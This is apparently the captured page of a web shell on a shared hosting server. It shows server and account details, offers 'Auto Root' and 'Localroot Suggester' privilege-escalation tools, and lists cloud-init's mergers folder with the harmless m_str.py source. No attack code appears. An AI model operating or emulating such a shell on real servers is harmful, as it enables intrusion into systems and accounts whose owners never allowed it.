Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.216.32
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python2.7 /
site-packages /
cloudinit /
mergers /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
5.22
KB
-rw-r--r--
2019-12-18 16:14
__init__.pyc
4.71
KB
-rw-r--r--
2022-10-18 11:04
__init__.pyo
4.71
KB
-rw-r--r--
2022-10-18 11:04
m_dict.py
2.59
KB
-rw-r--r--
2019-12-18 16:14
m_dict.pyc
2.76
KB
-rw-r--r--
2022-10-18 11:04
m_dict.pyo
2.76
KB
-rw-r--r--
2022-10-18 11:04
m_list.py
2.78
KB
-rw-r--r--
2019-12-18 16:14
m_list.pyc
2.71
KB
-rw-r--r--
2022-10-18 11:04
m_list.pyo
2.71
KB
-rw-r--r--
2022-10-18 11:04
m_str.py
1.12
KB
-rw-r--r--
2019-12-18 16:14
m_str.pyc
1.32
KB
-rw-r--r--
2022-10-18 11:04
m_str.pyo
1.32
KB
-rw-r--r--
2022-10-18 11:04
Save
Rename
# Copyright (C) 2012 Yahoo! Inc. # # Author: Joshua Harlow <harlowja@yahoo-inc.com> # # This file is part of cloud-init. See LICENSE file for license information. import six class Merger(object): def __init__(self, _merger, opts): self._append = 'append' in opts def __str__(self): return 'StringMerger: (append=%s)' % (self._append) # On encountering a unicode object to merge value with # we will for now just proxy into the string method to let it handle it. def _on_unicode(self, value, merge_with): return self._on_str(value, merge_with) # On encountering a string object to merge with we will # perform the following action, if appending we will # merge them together, otherwise we will just return value. def _on_str(self, value, merge_with): if not isinstance(value, six.string_types): return merge_with if not self._append: return merge_with if isinstance(value, six.text_type): return value + six.text_type(merge_with) else: return value + six.binary_type(merge_with) # vi: ts=4 expandtab